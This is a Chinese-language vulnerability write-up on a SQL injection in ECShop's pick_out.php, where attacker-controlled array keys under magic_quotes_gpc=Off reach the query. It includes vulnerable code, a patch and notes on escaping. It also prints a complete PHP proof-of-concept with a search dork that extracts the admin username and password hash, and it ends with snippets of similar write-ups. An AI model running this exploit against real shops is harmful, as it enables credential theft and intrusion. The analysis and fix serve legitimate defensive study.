ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出key键注入

Relevant Link:

http://bbs.ecshop.com/thread-150545-1-1.html

2. 漏洞触发条件

1. /pick_out.php漏洞未修复
2. magic_quotes_gpc = Off

0x1: POC

#!/usr/bin/php
复制代码

<?php
    //本程序只作技术交流,请不要用做非法用途!!
    print_r(‘
    +---------------------------------------------------------------------------+
    ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
    dork: "owered by ECShop"
    +---------------------------------------------------------------------------+
    ‘);
    /**
    * works with magic_quotes_gpc = Off
    */
    if ($argc < 3)
    {
        print_r(‘
        +---------------------------------------------------------------------------+
        Usage: php ‘.$argv[0].‘ host path
        host:      target server (ip/hostname)
        path:      path to ecshop
        Example:
        php ‘.$argv[0].‘ localhost /ecshop/
        +---------------------------------------------------------------------------+
        ‘);
        exit;
    }
    error_reporting(7);
    ini_set(‘max_execution_time‘, 0);
    $host = $argv[1];
    $path = $argv[2];
    $resp = send();
    preg_match(‘#IN\s\(([\S]+)[a-z0-9]{32})\)#‘, $resp, $hash);
    if ($hash)
    exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");
    else
    exit("Exploit Failed!\n");
    function send()
    {
        global $host, $path;
        $cmd = ‘cat_id=999999&attr[%27%20UNION%20SELECT%20CONCAT(user_name%2c0x3a%2cpassword)%20as%20goods_id%20FROM%20ecs_admin_user%20WHERE%20action_list%3d%27all%27%20LIMIT%201%23]=ryat‘;
        $data = "GET ".$path."pick_out.php?".$cmd."  HTTP/1.1\r\n";
        $data .= "Host: $host\r\n";
        $data .= "Connection: Close\r\n\r\n";
        $fp = fsockopen($host, 80);
        fputs($fp, $data);
        $resp = ‘‘;
        while ($fp && !feof($fp))
            $resp .= fread($fp, 1024);
        return $resp;
    }
?>

3. 漏洞影响范围
4. 漏洞代码分析

/pick_out.php

..
/* 处理属性,获取满足属性的goods_id */
if (!empty($_GET[‘attr‘]))
{
    $attr_table = ‘‘;
    $attr_where = ‘‘;
    $attr_url   = ‘‘;
    $i = 0;
    $goods_result = ‘‘;
    foreach ($_GET[‘attr‘] AS $key => $value)
    {
        $attr_url .= ‘&attr[‘ . $key . ‘]=‘ . $value;
        $attr_picks[] = $key;
        if ($i > 0)
        {
            if (empty($goods_result))
            {
                break;
            }
            // 利用key进行注射
            $goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE goods_id IN (" . implode(‘,‘ , $goods_result) . ") AND attr_id=‘$key‘ AND attr_value=‘$value‘");
        }
        else
        {
            $goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE attr_id=‘$key‘ AND attr_value=‘$value‘");
        }
        $i++;
    }
    ..

5. 防御方法

/pick_out.php

define(‘IN_ECS‘, true);

require(dirname(__FILE__) . ‘/includes/init.php‘);

$condition = array();
$picks = array();
$cat_id = !empty($_GET[‘cat_id‘]) ? intval($_GET[‘cat_id‘]) : 0;
/* */
if (!empty($_GET[‘attr‘]))
{
    //对输入数组进行键值(key、value)规范化处理
    foreach($_GET[‘attr‘] as $key => $value)
    {
        if (!is_numeric($key))
        {
            unset($_GET[‘attr‘][$key]);
            continue;
        }
        $key = intval($key);
        $_GET[‘attr‘][$key] = htmlspecialchars($value);
    }
}
/* */

Relevant Link:

http://bbs.ecshop.com/thread-86922-1-1.html

6. 攻防思考

GPC自动注册是PHP提供的原生机制,很多CMS为了保证"无视用户自身设置",在全局入口代码中采用了"自动模拟GPC注册"的机制,类似于
/*
foreach(Array(‘_GET‘,‘_POST‘,‘_COOKIE‘) as $_request)
{
    foreach($$_request as $_k => $_v)
        ${$_k} = $_v;
}
*/

但是,在进行模拟GPC本地变量注册的时候,一定要保持安全性的一致性,即要同时模拟执行"magic_quotes_gpc = On"机制,即需要对传入数据的进行[key:value]转义过滤,例如

function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

foreach(Array(‘_GET‘,‘_POST‘,‘_COOKIE‘) as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

Copyright (c) 2015 LittleHann All rights reserved

时间: 2024-10-19 11:20:32

ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding的相关文章

ecshop /search.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 Relevant Link: http://sebug.net/vuldb/ssvid-62317 2. 漏洞触发条件 0x1: POC <?php ini_set("max_execution_time",0); error_reporting(7); function

ecshop /flow.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 ECSHOP的配送地址页面网页没有验证地区参数的有效性,存在sql注入漏洞,攻击者可利用火狐tamper data等插件修改提交到配送地址页面的post数据,造成未授权的数据库操作甚至执行任意代码 Relevant Link: http://sebug.net/vuldb/ssvid-60554 2. 漏洞触发条件 1. 先注册账户,随便选个商品进购物车,然

ecshop /category.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 Relevant Link: http://sebug.net/vuldb/ssvid-19574 2. 漏洞触发条件 0x1: POC http://localhost/ecshop2.7.2/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&dis

ecshop /includes/modules/payment/alipay.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 ECSHOP支付插件存在SQL注入漏洞,此漏洞存在于/includes/modules/payment/alipay.php文件中,该文件是ECshop的支付宝插件.由于ECShop使用了str_replace函数做字符串替换,黑客可绕过单引号限制构造SQL注入语句.只要开启支付宝支付插件就能利用该漏洞获取网站数据,且不需要注册登入.GBK与UTF-8版本E

ecshop /api/client/api.php、/api/client/includes/lib_api.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 ECShop存在一个盲注漏洞,问题存在于/api/client/api.php文件中,提交特制的恶意POST请求可进行SQL注入攻击,可获得敏感信息或操作数据库 http://sebug.net/vuldb/ssvid-21007 2. 漏洞触发条件 1. /api/client/api.php存在未过滤漏洞 2. 服务器magic_quote_gpc =

dedecms /include/uploadsafe.inc.php SQL Injection Via Local Variable Overriding Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 1. dedecms原生提供一个"本地变量注册"的模拟实现,原则上允许黑客覆盖任意变量 2. dedecms在实现本地变量注册的时候,会对$_GET.$_POST.$_COOKIE等的value值进行addslash转移过滤处理 //$key值注入不在本文讨论范围内,详情参阅:http://www.cnblogs.com/LittleHann/p/

discuz /faq.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 1. 通过获取管理员密码 2. 对管理员密码进行破解.通过在cmd5.com网站对管理密码进行查询,需要带salt,获取的salt要去掉最后一个数字"1" 例如下面获取: admin:c6c45f444cf6a41b309c9401ab9a55a7:066ff71 需要查询的是: c6c45f444cf6a41b309c9401ab9a55a7:0

weiphp /Application/Admin/Controller/PublicController.class.php Login SQL Injection Vul

catalogue 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 Relevant Link: http://www.wooyun.org/bugs/wooyun-2016-0190216 2. 漏洞触发条件 0x1: POC http://demo.weiphp.cn/index.php?s=/Admin/Public/login.html post: username[0]=admin'&username[1]=x

dedecms /member/myfriend_group.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 Relevant Link http://exp.03sec.com/dedecms-%E4%BC%9A%E5%91%98%E4%B8%AD%E5%BF%83%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E10.shtml 2. 漏洞触发条件 1. 先打开: http://127.0.0.1/dedec